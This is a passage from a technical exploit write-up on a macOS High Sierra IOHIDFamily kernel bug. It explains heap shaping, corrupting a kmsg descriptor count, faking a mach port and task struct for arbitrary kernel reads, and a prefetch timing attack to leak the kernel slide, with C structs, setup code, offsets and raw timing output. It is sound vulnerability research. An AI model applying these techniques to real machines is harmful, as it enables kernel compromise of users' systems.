Data buffers contain exclusively user-supplied data, so reading from them is entirely useless, and with writing we could at most break some assumptions that were established through sanitisation earlier, but… meh. Pointer arrays contain exclusively pointers to dynamically allocated objects, so corrupting them might get us code execution if we know an address where we can put a fake object, and reading from them might just tell us where such an address might be once the object is freed. However, neither of those gets us any closer to the kernel slide. That leaves only kmsg’s… and boy are kmsg’s something!

Let’s take a closer look at kmsg’s and to that end, mach messages. When a client sends a mach message, it consists of a header containing the size of the message, destination port, etc., and of a body. That body can contain “descriptors”, which can be out-of-line memory, an out-of-line array of mach ports, or a single inline mach port. Body space not used up by descriptors is just copied 1:1. That gives us a byte buffer of arbitrary size containing both binary data as well as pointers!

When a message enters kernelland through the mach_msg trap, the kernel allocates one large designated buffer for it with an ipc_kmsg header, and copies it there. Then it resolves port names to pointers, translates descriptors, adds a trailer to it that contains information about the sender, and finally adds the kmsg to the message queue of the destination port. Now, the buffer holding the kmsg needs to be significantly larger than the raw mach message, not only due to the kmsg header and the message trailer, but also due to the fact that the size of descriptors is different for 32- and 64-bit contexts. In addition, the function allocating the buffer has no idea whether there will be any descriptors at all or where the message is coming from. It only knows the user-specified message size, so it makes the most protective assumptions, i.e. that small descriptors will have to be translated to big ones, and that the entire message body consists of descriptors. Currently that means for every 12 bytes of body size, the kernel allocates 16 bytes - which means we’ll have to take special care of the size if we wanna fill a mach message into a hole we punched into the heap. Now, also due to variable size and because descriptors always precede any non-descriptor data sent in a message, mach messages are aligned to the end of the kalloc’ed buffer rather than to the beginning, and the header is pulled backwards as needed when descriptors are translated. To that end, the ipc_kmsg header (which sits at the very beginning of the kalloc allocation btw) has a field ikm_header , which points to the header of the mach message.

Knowing all that, how can we use it to our advantage now? Plain reading seems futile at this point, so is writing gonna do us any good? Ian Beer has previously exploited kmsg’s by corrupting the ikm_size field in ipc_kmsg , leading to a heap overflow allowing both controlled reading and writing. That requires appropriate objects to reside after the kmsg in memory however, which isn’t the case for us (otherwise we’d just move evg a couple of pages further and mess with those).

What other values do we have? Most fields are pointers whose corruption would require far-reaching construction of fake objects, and the few that are not are mostly just flat-out copied to userland. ikm_header->msgh_size is used for the size of the copy-out, but corrupting that would just yield another heap overflow. We could corrupt ikm_header which would allow us to construct an entire custom mach message, however that would require some valid ports pointers at the very least (which we could read off the original mach message one by one, but that’s tedious). There is another, much nicer field though, which allows us to get basically the same result with much less effort: msgh_descriptor_count .

Targeting that, we can send a message with a byte buffer and no descriptors, then change msgh_descriptor_count from 0 to 1 , and suddenly on receiving the message, the beginning of our byte buffer will be interpreted as a descriptor! :D

The details for this are really simple: msgh_descriptor_count is a 32-bit int, we’ve already looked at how to write 32 bits of memory after offsetting evg , and targeting the least significant bit fits nicely with our writing mask of 0x01ff20ff .

With that figured out, we can create and “send ourselves” anything that a descriptor can describe. The most straightforward choice to me seems a fake mach port with a fake task struct, which will then allow us to read arbitrary memory via pid_for_task . This technique has previously been used by Luca Todesco in the Yalu102 jailbreak, and subsequently by tihmstar and yours truly in Phœnix and PhœnixNonce.

Now in order to pull that off, we need an address at which we can put our fake port and task structs. On devices without SMAP, we could just put those in our process memory and do a dull userland dereference. We’re not gonna do that though, since for one my MacBook (on which I was developing the exploit for the biggest part) is equipped with SMAP, and secondly because it’s always nice to break one more security feature if you can. :P

Alright, so we need a kernel address - but guess what, we already have one in our kmsg: ikm_header ! Now, we can’t use that directly since the entire kmsg will be deallocated once we receive it, but knowing the size of the message we’ve sent, we can use ikm_header to calculate the address of the ipc_kmsg header - and due to the very nature of our exploit, there happens to exist something at a known offset from that address: IOHIDSystem shared memory. So we just made 0x6000 bytes of directly writeable, kernel-adressable memory - for getting exploit data into the kernel, it hardly gets any nicer than that!

So, how does reading ikm_header work in detail? Being an address makes it 64 bits wide, which means that we’ll have to read it in two steps. Since every reading operation resets evg , we’ll need to do an entire cycle of deallocating the kmsg, filling the space with buffer memory, offsetting evg again, and allocating a new kmsg between the two readings. But if the new kmsg has the same size as the old one and is filled into the same heap hole, then ikm_header is gonna hold the same value, so that won’t be a problem.

There is one more thing though: remember the cursor problem? To find out how that affects us in this case, let’s have a look at the first few members of the ipc_kmsg and EvGlobals structs:

When reading the top 32 bits of ikm_header , they overlay like this:

evg->cursorSema falls onto the bottom 32 bits of ikm_next , which is a pointer to another kmsg. Since that one will also have been allocated via kalloc , the lower 32 bits of the pointer are exceedingly unlikely to be zeroes, so in this case we should be safe.

What about the bottom 32 bits of ikm_header then?

Now evg->cursorSema falls onto the padding between ikm_size and ikm_next . I don’t see that being zeroed out anywhere in the code so in theory it could be anything, however in practice I have only ever seen zeroes there (and even if that’s not always the case, it remains a possibility). So when we perform our reading operation, IOHIDSystem::_setCursorPosition will run through and evg->screenCursorFixed and evg->desktopCursorFixed will be written to, which intersect with ikm_importance and ikm_inheritance (marked red in the diagram). That’s bad. When we receive the kmsg and mach_msg_receive_results is called, it will invoke ipc_importance_receive which will lead us to this bit (assuming we don’t have a voucher):

if ( IIE_NULL != kmsg -> ikm_importance ) { ipc_importance_elem_t elem ; ipc_importance_lock (); elem = ipc_importance_kmsg_unlink ( kmsg ); #if IIE_REF_DEBUG elem -> iie_kmsg_refs_dropped ++ ; #endif ipc_importance_release_locked ( elem ); /* importance unlocked */ }

Recall that the values written to evg->screenCursorFixed and evg->desktopCursorFixed depend on the values previously read from evg->cursorLoc . Since we’re reading a valid pointer, we will write non-zero values there which means that IIE_NULL != kmsg->ikm_importance will hold true and the if block will be entered. That will then lead to a call to ipc_importance_kmsg_unlink , which is defined as follows:

static ipc_importance_elem_t ipc_importance_kmsg_unlink ( ipc_kmsg_t kmsg ) { ipc_importance_elem_t elem = kmsg -> ikm_importance ; if ( IIE_NULL != elem ) { ipc_importance_elem_t unlink_elem ; unlink_elem = ( IIE_TYPE_INHERIT == IIE_TYPE ( elem )) ? ( ipc_importance_elem_t )(( ipc_importance_inherit_t ) elem ) -> iii_to_task : elem ; queue_remove ( & unlink_elem -> iie_kmsgs , kmsg , ipc_kmsg_t , ikm_inheritance ); kmsg -> ikm_importance = IIE_NULL ; } return elem ; }

To fully understand what happens to our corrupted fields, we need to look at two macros: IIE_TYPE and queue_remove :

#define IIE_TYPE(e) ((e)->iie_bits & IIE_TYPE_MASK)

#define queue_remove(head, elt, type, field) \ MACRO_BEGIN \ queue_entry_t __next, __prev; \ \ __next = (elt)->field.next; \ __prev = (elt)->field.prev; \ \ if ((head) == __next) \ (head)->prev = __prev; \ else \ ((type)(void *)__next)->field.prev = __prev; \ \ if ((head) == __prev) \ (head)->next = __next; \ else \ ((type)(void *)__prev)->field.next = __next; \ \ (elt)->field.next = NULL; \ (elt)->field.prev = NULL; \ MACRO_END

So ipc_importance_kmsg_unlink will ultimately dereference all of ikm_importance , ikm_inheritance.prev and ikm_inheritance.next , which we corrupt. Due to the conversion between cursorLoc and screenCursorFixed / desktopCursorFixed , there is no way the values we write can be valid pointers again. So we have no choice but to somehow repair what we’re breaking with reading before we can receive the kmsg, and the only tool we’ve got at our disposal to pull this off is evg . In order to determine what is and isn’t possible, we first have to finalise our plan for how exactly we shape the heap.

In my implementation, I’m first spraying OSString s of size 0x3000 . After offsetting evg and detecting where it lands, I punch a hole of size 0x30000 (i.e. just deallocate 16 strings) for the kmsg, but before doing so I create at lower addresses 16 other holes of size 0x2d000 (i.e. 15 strings). That way, new allocations of 0x2d000 bytes or less will first fill up those holes before interfering with our plans, and any allocations bigger than 0x30000 bytes are too big for our kmsg hole and will leave us alone anyway.

Now, what does a kmsg size of 0x30000 bytes imply? Currently on High Sierra, the sizes of struct ipc_kmsg , mach_msg_base_t and mach_msg_max_trailer_t are 0x58 , 0x24 and 0x44 bytes respectively, and we’ve already seen that the kernel reserves 16 bytes for every 12 bytes of message body size. That means the body part of our kmsg will have to be 0x30000 - 0x58 - 0x24 - 0x44 = 0x2ff40 bytes, so the mach message we send will need a 0x2ff40 / 16 * 12 = 0x23f70 bytes body. Since we don’t send any descriptors, that will actually lead to 0x2ff40 - 0x23f70 = 0xbfd0 bytes after the kmsg header being completely unused. That’s good, because that lets us do whatever we want with evg around the kmsg header without the chance of corrupting anything after it. And due to our hole-punching, there will still be a string buffer of 0x3000 bytes right before it - not quite enough to buffer the full 0x5ae8 bytes of evg , but still a lot.

So what can we actually do with evg in terms of repairs now? The easiest thing would be if we could just use evg->eventFlags to write zeroes. For that, we have to consider both initialisation and kernel usage of the values around eventFlags .

That looks rather bad. The fact that values so shortly before and after eventFlags are initialised to non-zero or unknown values means that when we write 0 four times, at least one of those will be overwritten again. The next best approach (to me anyway) would seem to try and use cursorSema initialisation to zero out things - since it’s at the very beginning of evg there will be no writes before it, so we could just continuously shift evg further down in memory until we’re after the kmsg header. However if cursorSema is zero, the kernel may change it to a non-zero value at any given time. If that happens right before we move evg again, we leave a non-zero value and haven’t repaired anything. There are some more fields in evg that are initialised to zero, most notably in evg->lleq , an array of NXEQElement s. As far as I can tell, no code in IOHIDFamily accesses that memory at all beyond initialisation, and it doesn’t seem to be exported to anywhere in kernelland either. That puts kernel writes out of the way and just leaves initialisation:

Since we have an array of those, we can nicely use lleq[1] to zero things out while the last 64 bytes of lleq[0] will give us enough space to leave the rest of the header intact:

(As is visible, it gives us only just enough space, down to the bit! As if we’re blessed with luck or something. :D)

Using the sema and event.type fields to zero out, we need to perform three operations in total - two to undo the earlier corruption, and one more because the next field writes non-zero values again right before the memory we zero out, which is the lower half of ikm_importance . Ultimately we will write a non-zero value to ikm_qos_override , but that has no bad consequence. Note we could also have used the last element of lleq instead, which gets its next field set to zero, but then we would’ve again had to make sure that we have 0x6000 bytes of mapped memory instead of just 0x3000 , and… meh.

Anyway we can repair the kmsg now, and with that there’s nothing standing between us and our fake mach port anymore! Well, except the actual fake port and its kobject, that is. Getting a usable definition of struct ipc_port to userland is a bit tedious and requires digging through a dozen headers, but here’s the result (to be fair, I had done most of the work for Phœnix/PhœnixNonce already and merely had to update it - also, kptr_t is just typedef’ed to uint64_t ):

typedef struct { uint32_t ip_bits ; uint32_t ip_references ; struct { kptr_t data ; uint32_t type ; uint32_t pad ; } ip_lock ; // spinlock struct { struct { struct { uint32_t flags ; uint32_t waitq_interlock ; uint64_t waitq_set_id ; uint64_t waitq_prepost_id ; struct { kptr_t next ; kptr_t prev ; } waitq_queue ; } waitq ; kptr_t messages ; natural_t seqno ; natural_t receiver_name ; uint16_t msgcount ; uint16_t qlimit ; uint32_t pad ; } port ; kptr_t klist ; } ip_messages ; kptr_t ip_receiver ; kptr_t ip_kobject ; kptr_t ip_nsrequest ; kptr_t ip_pdrequest ; kptr_t ip_requests ; kptr_t ip_premsg ; uint64_t ip_context ; natural_t ip_flags ; natural_t ip_mscount ; natural_t ip_srights ; natural_t ip_sorights ; } kport_t ;

With struct task I was much lazier, only defining what’s really necessary (with the exception of ip_lock , which isn’t actually needed):

typedef struct { struct { kptr_t data ; uint32_t type ; uint32_t pad ; } ip_lock ; // mutex uint32_t ref_count ; uint8_t pad [ OFF_TASK_BSD_INFO - 3 * sizeof ( uint32_t ) - sizeof ( kptr_t )]; kptr_t bsd_info ; } ktask_t ;

OFF_TASK_BSD_INFO is the offset of the bsd_info field in the kernel’s task struct, which can be grabbed from the disassembly of get_bsdtask_info (here 0x390 ):

;-- _get_bsdtask_info: 0xffffff80002bccd0 55 push rbp 0xffffff80002bccd1 4889e5 mov rbp, rsp 0xffffff80002bccd4 488b87900300. mov rax, qword [rdi + 0x390] 0xffffff80002bccdb 5d pop rbp 0xffffff80002bccdc c3 ret

Now after moving evg for the last time, we can zero out the second and third page of our shared memory (I’m avoiding the first page just in case the kernel writes anything there), and initialise the two structures like this (where shmem_addr and shmem_kern and the userland and kernel addresses of the shared memory, respectively):

kport_t * kport = ( kport_t * )( shmem_addr + pagesize ); ktask_t * ktask = ( ktask_t * )( shmem_addr + 2 * pagesize ); kport -> ip_bits = 0x80000002 ; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK kport -> ip_references = 100 ; kport -> ip_lock . type = 0x26 ; kport -> ip_messages . port . receiver_name = 1 ; kport -> ip_messages . port . msgcount = MACH_PORT_QLIMIT_KERNEL ; kport -> ip_messages . port . qlimit = MACH_PORT_QLIMIT_KERNEL ; kport -> ip_kobject = shmem_kern + 2 * pagesize ; kport -> ip_srights = 99 ; ktask -> ref_count = 100 ;

The reference and right counts are just arbitrary numbers high enough to make sure no deallocation is attempted. The two MACH_PORT_QLIMIT_KERNEL are there to prevent any accidental message being sent to the port (by simulating a full message queue), which would attempt to dereference the pointer ip_messages.klist.messages , which we don’t set. Anything else should be fairly straightforward. Now in order to read 4 bytes from an arbitrary kernel address, we merely need to set bsd_info to the address we want minus 0x10 bytes (because that’s the offset the pid field has in struct proc ) and call pid_for_task on it.

At last, we’ve successfully turned very constrained read and write primitives into full arbitrary read. Now we just need something to read from - we’re after the kernel slide, which we still don’t know. We only know the addresses of our shared memory and of our kmsg hole. So it’d be nice if we could reuse the latter somehow to learn the slide. We already enumerated what structures we can allocate in such a place:

Data buffers.

Pointer arrays.

struct ipc_kmsg .

In the beginning, the problem with pointer arrays was that they would only ever contain pointers to objects allocated on the heap, to where we couldn’t follow with our constrained read primitive. With arbitrary read however, things are looking much better! If we allocate, say, an OSArray , read the pointer to the first object it contains, and from that address read the first 8 bytes, we get its vtable - which resides in __CONST.__constdata and whose address thus reveals the kernel slide. Now we only have to allocate an OSArray large enough for its pointer array to reach 0x30000 bytes. One way of achieving this would be to actually allocate an array with 24’576 elements (we could use all OSBoolean s to go easy on memory), but we don’t even have to. We can take advantage of the binary serialisation format, namely the fact that dictionaries, arrays and sets take a length specifier from userland. Effectively, we can set an OSArray ’s size to 0x6000 (that is later multiplied by the size of a pointer) but then supply only a single element (I’ll call this an “inflated array”). Even if we didn’t have all that though, we could ultimately also send a kmsg with an actual port to e.g. an IOService object, which would also get us a C++ object pointer.

So in review, we:

Spray the kalloc_map with OSString buffers. Offset evg . Read the strings back to find out where it landed. Punch a hole underneath it. Allocate a kmsg into that hole. Read ikm_header off it, yielding the shmem kernel address. Repair any damage we’ve done. Allocate a new kmsg with body bytes corresponding to a port descriptor pointing to somewhere in shared memory. Flip msgh_descriptor_count from 0 to 1 so that our bytes are actually interpreted as a descriptor. Construct a fake port and task on the shared memory. Receive the kmsg, thus inserting the fake port into our namespace. Point fakeport.ip_kobject.bsd_info to an address and use pid_for_tak(fakeport) to read from it.

At that point we could also attach a vm_map_t (say, the kernel_map ) to our fake task to gain full r/w, or swap the fake task out for a fake IOService object with a custom vtable, allowing us to call arbitrary kernel code. I’m gonna leave it at leakage of the kernel slide here though.

This is implemented in src/leak/main.c .

Leaking the kernel slide, the cheater’s way

Edit: The technique explained below has for some reason stopped working on macOS High Sierra 10.13.2. I don’t know why and I didn’t bother to investigate, but the IOHIDFamily vulnerability is still there all the same. So while the hid binary in its current state will only work up to 10.13.1, you could just patch together hid and leak to get everything working on 10.13.2 - or even write a mach-port-based exploit out of leak , I hear mach ports are the real deal. :P

The above is nice and all (and was actually super fun to piece together), but it has a slight drawback: scanning all these OSString s to find out where evg landed takes a significant amount of time to execute, and that is after getting the IOHIDUserClient port. In a real attack scenario, that would mean that if we run on a logout, the user would be confronted with a black screen for quite a bit longer than they’d expect and be comfortable with, and if we run on a shutdown/reboot, we might even get killed before we get our work done (this depends on physical memory size, and is also less likely when targeting the kalloc_map but more likely with the kernel_map ). On top of that, the above way to leak the slide was chronologically the last part of the exploit I wrote. For those reasons we’re gonna look at another way to leak the kernel slide, one that can be executed independently of any other part of the exploit: hardware vulnerabilities!

Long story short, we’re doing a prefetch cache timing attack as devised by Gruss et al. I add nothing new to this technique, I merely wrote my own implementation. For those unfamiliar with how it works, the basic vulnerabilities lie in the x86 prefetchtN instructions (where N can be 1 , 2 , …). Those were designed as hints to the CPU that the program wants data at some address loaded into a particular cache, but they have a few interesting properties:

They ignore access permissions of all kinds, allowing even the prefetching of kernel memory (we’re still not able to read that from the cache then though).

They perform a number of address lookup attempts, and stop as soon as they find something. This means that for an unitialised (or evicted) cache, they execute significantly faster for mapped addresses than unmapped ones.

They silently ignore all errors (not an actual vulnerability, but a nice property).

Interestingly enough, no implementation I found on the web seemed to work for me, so I ended up writing my own. Like in the paper, I target the prefetcht2 instruction (i.e. the L2 cache), and for every timing I do:

Evict the cache. Use mfence to synchronise memory accesses. Invoke prefetcht2 . Use rdtscp before and after it to get the time difference.

For eviction I use the L3 cache rather than just the L2, because then misses will have to go to main memory, which leaves a much bigger mark in the time difference (there’s also a notable difference when evicting L2, it’s just a lot smaller). The most efficient way (I know of) to do that is to allocate a memory block as large as the L3 cache, divide it into parts as large as the cache line size, and do a single memory read on each of those parts. Conveniently, there are two sysctl entries hw.cachelinesize and hw.l3cachesize giving us exactly those sizes.

Now in order to find the kernel base, we just start at address 0xffffff8000000000 , go up to 0xffffff8020000000 in steps of 0x100000 bytes, perform 16 timings at each step and throw in a sched_yield() before each timing to minimise external interference. I implemented that in data/kaslr.c , and running it yields the following:

0xffffff8000000000 32 452 32 32 32 32 32 32 32 32 116 31 28 28 28 31 0xffffff8000100000 558 232 235 468 232 332 499 335 242 301 239 291 874 369 343 286 0xffffff8000200000 286 437 446 463 440 434 443 561 443 437 443 443 440 440 452 511 0xffffff8000300000 446 538 546 286 440 440 499 440 440 451 440 448 437 443 505 543 0xffffff8000400000 452 469 443 307 307 295 307 443 670 437 475 682 658 788 304 573 0xffffff8000500000 460 679 440 1116 452 440 496 1642 558 588 443 307 512 874 598 660 0xffffff8000600000 598 282 318 457 443 461 481 402 454 440 443 461 443 443 1078 605 0xffffff8000700000 602 647 602 605 591 576 451 715 310 529 310 269 1621 794 307 356 0xffffff8000800000 453 282 443 279 496 443 800 664 946 834 1107 555 440 1196 334 443 0xffffff8000900000 454 454 593 555 443 794 449 490 286 440 443 443 443 454 446 463 0xffffff8000a00000 520 440 561 593 496 552 384 590 588 588 578 608 614 1110 636 380 0xffffff8000b00000 448 572 280 596 568 600 444 444 712 448 528 456 1296 448 628 452 0xffffff8000c00000 448 456 584 448 596 452 448 780 276 310 310 443 450 453 456 543 0xffffff8000d00000 573 453 453 450 540 446 279 471 472 522 472 440 443 472 443 451 0xffffff8000e00000 461 440 475 310 464 579 464 469 482 454 464 440 614 452 310 472 0xffffff8000f00000 475 759 461 767 458 443 475 718 475 1514 443 1934 319 708 307 1258 0xffffff8001000000 443 1033 718 658 454 443 440 620 446 1048 552 741 443 443 454 440 0xffffff8001100000 440 502 463 446 520 446 443 443 443 443 443 529 529 457 637 437 0xffffff8001200000 372 278 286 443 443 42659 390 450 279 440 443 447 443 443 446 567 0xffffff8001300000 564 544 446 440 440 457 443 526 522 517 449 443 440 526 443 455 0xffffff8001400000 656 469 461 440 472 608 1178 446 1036 443 443 508 461 871 472 440 0xffffff8001500000 475 1317 437 555 511 451 472 458 593 440 440 472 546 620 1264 1724 0xffffff8001600000 543 523 711 638 528 437 440 758 555 455 263 369 301 1491 901 1557 0xffffff8001700000 568 263 553 272 458 266 280 277 676 464 815 570 437 455 1096 930 0xffffff8001800000 479 301 272 493 558 1361 1311 310 1470 452 290 396 109 280 263 277 0xffffff8001900000 478 295 602 771 354 1258 865 556 83 190 167 106 109 81 291 325 0xffffff8001a00000 679 650 791 626 313 266 266 263 266 266 263 274 277 277 277 283 0xffffff8001b00000 440 103 266 266 274 266 263 269 280 266 263 260 266 280 274 266 0xffffff8001c00000 443 266 304 277 139 290 759 92 106 269 109 277 106 280 263 106 0xffffff8001d00000 443 266 269 277 806 266 277 425 269 537 266 277 266 360 277 694 0xffffff8001e00000 440 263 280 269 266 269 293 266 266 266 277 283 266 277 283 263 0xffffff8001f00000 582 266 269 266 266 280 266 263 266 269 263 269 266 328 269 274 0xffffff8002000000 443 847 277 277 298 266 283 274 272 307 277 269 280 274 266 269 0xffffff8002100000 443 266 280 280 277 269 283 269 475 277 274 266 269 277 517 295 0xffffff8002200000 443 425 266 283 451 266 272 277 310 316 283 283 283 269 269 266 0xffffff8002300000 449 266 275 269 446 266 283 298 384 277 277 280 266 322 272 266 0xffffff8002400000 467 283 269 106 92 106 274 280 280 266 277 280 277 280 266 304 0xffffff8002500000 454 277 269 269 277 266 269 277 266 266 263 277 490 277 289 286 0xffffff8002600000 440 440 443 443 443 440 443 440 440 452 440 443 440 1116 443 454 0xffffff8002700000 948 440 443 599 443 451 280 446 451 454 454 440 464 283 520 514 0xffffff8002800000 440 443 437 440 476 729 443 443 437 431 422 457 266 432 275 679 0xffffff8002900000 1101 443 443 443 597 505 443 558 269 440 440 103 446 443 100 1175 0xffffff8002a00000 540 1063 564 319 800 266 558 741 505 505 502 451 443 558 1524 727 0xffffff8002b00000 1151 443 440 443 443 443 277 443 440 457 443 440 454 263 443 437 0xffffff8002c00000 446 280 508 272 508 511 567 519 602 508 546 440 440 443 440 454 0xffffff8002d00000 481 1010 744 537 440 440 514 443 534 511 673 537 523 263 520 543 0xffffff8002e00000 443 443 443 451 461 440 484 440 443 457 443 508 540 443 525 440 0xffffff8002f00000 446 440 449 440 460 449 443 443 440 266 443 440 443 263 443 697 0xffffff8003000000 440 449 446 443 443 522 443 1447 635 1237 452 440 437 440 443 458 0xffffff8003100000 443 446 460 440 443 457 446 440 443 440 443 440 440 454 443 443 0xffffff8003200000 443 457 452 440 446 443 446 454 454 446 443 446 443 461 440 443 0xffffff8003300000 454 446 446 449 443 469 289 440 460 443 440 664 446 443 446 475 0xffffff8003400000 437 443 437 443 443 437 443 443 443 440 449 581 446 443 446 443 0xffffff8003500000 443 440 437 448 443 443 443 461 440 452 440 443 440 457 443 443 0xffffff8003600000 440 269 277 283 266 280 280 269 269 481 280 266 263 269 266 269 0xffffff8003700000 451 280 269 280 269 283 272 266 277 280 269 280 277 266 269 310 0xffffff8003800000 443 266 280 266 266 266 269 277 277 269 266 269 283 266 269 269 0xffffff8003900000 532 266 266 277 283 272 266 269 266 277 915 277 269 272 277 278 0xffffff8003a00000 440 269 272 277 269 277 280 552 275 269 277 301 277 289 266 269 0xffffff8003b00000 452 283 277 269 269 301 280 272 269 269 280 269 280 266 280 266 0xffffff8003c00000 443 269 277 446 440 277 871 295 280 280 281 266 269 266 277 277 0xffffff8003d00000 582 277 269 277 269 266 269 280 280 266 269 280 269 269 263 266 0xffffff8003e00000 440 289 280 266 266 280 280 266 269 266 266 269 269 286 269 274 0xffffff8003f00000 443 272 269 277 277 266 280 269 266 269 266 277 277 269 283 266 0xffffff8004000000 443 812 269 280 266 266 263 266 266 266 266 266 298 263 272 277 0xffffff8004100000 446 266 263 266 95 277 263 266 263 277 266 263 284 472 266 263 0xffffff8004200000 440 269 266 106 269 269 269 280 277 280 266 277 269 372 280 277 0xffffff8004300000 443 269 269 269 266 269 280 355 275 272 266 277 272 301 266 269 0xffffff8004400000 463 266 263 277 277 277 608 275 269 92 266 280 277 266 277 278 0xffffff8004500000 440 266 266 266 266 266 277 263 304 266 266 266 266 263 277 266 0xffffff8004600000 446 280 266 274 266 269 266 280 272 588 266 266 263 280 277 266 0xffffff8004700000 821 266 280 277 277 277 266 269 274 266 266 269 277 591 327 266 0xffffff8004800000 448 269 706 272 269 272 277 280 266 407 95 266 576 266 269 92 0xffffff8004900000 590 266 269 92 266 277 266 443 269 434 467 289 269 266 266 269 0xffffff8004a00000 440 277 263 280 263 281 292 266 266 266 266 277 266 266 263 277 0xffffff8004b00000 461 266 263 266 277 596 310 274 277 357 266 552 263 472 266 266 0xffffff8004c00000 481 283 280 266 277 277 269 269 263 277 283 269 269 277 269 283 0xffffff8004d00000 457 280 266 277 614 266 393 277 277 280 428 277 280 266 272 280 0xffffff8004e00000 461 283 425 266 277 269 277 280 280 275 266 277 277 283 277 269 0xffffff8004f00000 443 277 269 277 280 266 269 266 281 277 280 280 266 269 106 269 0xffffff8005000000 517 266 272 280 290 280 263 277 280 266 266 269 277 443 277 280 0xffffff8005100000 446 280 266 266 280 269 263 266 280 277 295 277 269 277 266 304 0xffffff8005200000 443 277 277 283 266 269 277 269 277 272 269 280 283 275 277 277 0xffffff8005300000 464 287 269 269 280 106 295 266 266 266 283 266 277 277 269 269 0xffffff8005400000 511 272 277 95 266 269 266 269 280 263 277 269 280 277 277 298 0xffffff8005500000 457 449 446 543 546 546 543 629 543 543 543 449 466 446 443 451 0xffffff8005600000 446 457 443 526 460 443 443 443 528 449 446 443 443 443 443 469 0xffffff8005700000 454 446 443 443 446 443 466 440 449 443 446 440 519 511 446 522 0xffffff8005800000 443 440 452 446 451 443 443 443 440 443 472 443 443 454 475 454 0xffffff8005900000 440 461 446 440 440 434 446 440 464 446 443 443 443 446 443 443 0xffffff8005a00000 534 460 446 446 457 446 443 443 443 454 499 446 446 440 443 443 0xffffff8005b00000 460 454 440 446 517 457 443 446 443 457 457 443 443 499 440 449 0xffffff8005c00000 440 440 443 454 446 443 454 738 440 440 437 443 454 440 440 443 0xffffff8005d00000 440 457 378 437 520 856 523 523 443 443 443 454 476 440 475 446 0xffffff8005e00000 440 280 266 266 103 295 269 283 266 277 280 269 292 322 266 277 0xffffff8005f00000 626 266 343 272 269 287 284 269 280 280 295 269 263 266 266 269 0xffffff8006000000 454 904 443 266 92 103 277 304 266 266 266 266 280 280 266 280 0xffffff8006100000 440 266 443 273 313 269 279 106 276 282 418 112 266 106 263 273 0xffffff8006200000 446 276 276 269 273 273 269 269 273 273 266 266 328 103 280 266 0xffffff8006300000 587 266 266 266 336 263 266 331 266 266 109 99 102 276 266 266 0xffffff8006400000 446 440 269 280 280 269 558 269 266 266 269 277 467 104 269 272 0xffffff8006500000 443 263 277 363 277 280 277 342 274 263 269 280 277 263 277 328 0xffffff8006600000 446 443 443 451 440 443 443 451 440 455 440 446 440 440 440 440 0xffffff8006700000 443 440 443 440 277 691 448 277 440 667 561 912 443 451 451 440 0xffffff8006800000 540 440 440 446 451 443 277 434 443 443 467 484 440 451 785 434 0xffffff8006900000 437 528 540 570 529 526 543 440 266 440 448 440 434 443 437 443 0xffffff8006a00000 451 451 443 443 437 440 454 440 458 443 440 596 461 440 448 443 0xffffff8006b00000 440 599 263 457 632 443 443 443 269 446 632 443 440 451 443 475 0xffffff8006c00000 440 499 451 440 443 440 443 440 437 448 454 564 478 481 464 487 0xffffff8006d00000 443 454 499 434 437 272 440 667 454 1060 472 443 487 437 437 451 0xffffff8006e00000 440 446 647 440 437 443 454 269 440 304 440 446 440 440 437 437 0xffffff8006f00000 446 440 437 272 443 451 499 771 440 443 440 440 440 440 452 454 0xffffff8007000000 437 440 540 452 434 448 440 440 437 437 493 434 437 434 437 440 0xffffff8007100000 440 437 443 437 434 266 437 277 437 263 437 437 434 585 451 437 0xffffff8007200000 443 446 440 443 443 437 440 266 481 570 451 440 440 440 443 440 0xffffff8007300000 451 454 440 440 437 440 451 443 443 451 454 437 440 437 440 449 0xffffff8007400000 437 434 665 440 266 437 451 443 443 579 440 469 434 437 437 437 0xffffff8007500000 437 567 263 437 446 434 437 437 437 437 434 567 440 434 437 499 0xffffff8007600000 818 266 437 437 260 277 266 266 263 286 263 446 263 263 263 260 0xffffff8007700000 443 263 274 274 260 263 277 274 263 263 263 263 469 266 260 263 0xffffff8007800000 440 263 263 263 263 434 266 451 266 277 274 266 266 283 274 277 0xffffff8007900000 451 277 277 293 263 277 266 274 280 277 277 260 266 269 266 280 0xffffff8007a00000 437 260 260 260 266 266 266 263 266 277 310 263 260 260 263 274 0xffffff8007b00000 455 274 263 277 280 269 298 266 266 263 263 269 322 266 723 263 0xffffff8007c00000 443 266 333 269 277 266 274 301 316 277 263 269 106 263 269 277 0xffffff8007d00000 587 266 269 440 443 266 277 269 440 280 313 546 437 263 1355 450 0xffffff8007e00000 437 266 446 447 276 273 502 717 587 478 481 313 446 283 585 283 0xffffff8007f00000 499 520 499 437 451 266 266 277 266 419 266 449 1211 472 535 142 0xffffff8008000000 454 263 263 552 336 482 295 269 331 272 292 281 280 340 277 629 0xffffff8008100000 440 587 280 269 266 269 266 269 266 266 280 280 280 269 269 280 0xffffff8008200000 440 283 266 277 266 277 499 283 269 266 266 280 269 280 266 269 0xffffff8008300000 466 277 266 266 274 266 313 266 266 263 269 280 286 277 434 266 0xffffff8008400000 443 269 269 266 440 440 263 266 815 372 280 266 277 458 277 266 0xffffff8008500000 939 263 269 280 277 266 274 313 277 522 103 274 263 274 452 266 0xffffff8008600000 620 277 278 266 280 295 266 277 266 269 277 266 452 690 461 109 0xffffff8008700000 457 269 269 280 277 307 280 266 269 280 277 266 266 570 496 293 0xffffff8008800000 280 266 277 266 450 105 276 276 434 276 273 269 273 279 269 524 0xffffff8008900000 1116 349 266 281 266 266 295 277 266 280 269 266 277 266 266 274 0xffffff8008a00000 451 280 266 280 280 266 266 283 277 277 266 269 277 277 280 266 0xffffff8008b00000 437 266 269 280 266 266 280 266 269 266 266 263 272 266 277 269 0xffffff8008c00000 443 617 263 266 277 266 269 263 277 280 614 419 824 280 493 390 0xffffff8008d00000 1355 484 475 432 81 269 351 357 428 269 292 387 579 454 266 269 0xffffff8008e00000 564 272 266 322 363 313 266 269 269 269 269 269 266 440 266 280 0xffffff8008f00000 443 277 266 277 277 274 280 280 277 277 269 280 280 280 612 556 0xffffff8009000000 293052 704 1466 635 607 109 322 279 266 285 276 276 276 558 276 279 0xffffff8009100000 461 295 280 269 277 266 263 266 277 408 298 295 277 269 266 280 0xffffff8009200000 440 269 269 936 346 280 269 269 283 266 277 263 272 280 266 266 0xffffff8009300000 443 280 266 266 269 269 269 266 401 269 266 266 283 277 266 266 0xffffff8009400000 543 92 103 396 800 277 263 266 263 263 277 612 449 280 468 865 0xffffff8009500000 592 266 456 446 109 530 276 539 440 440 130 834 450 443 440 448 0xffffff8009600000 443 440 443 440 437 517 558 280 520 520 440 437 552 567 450 514 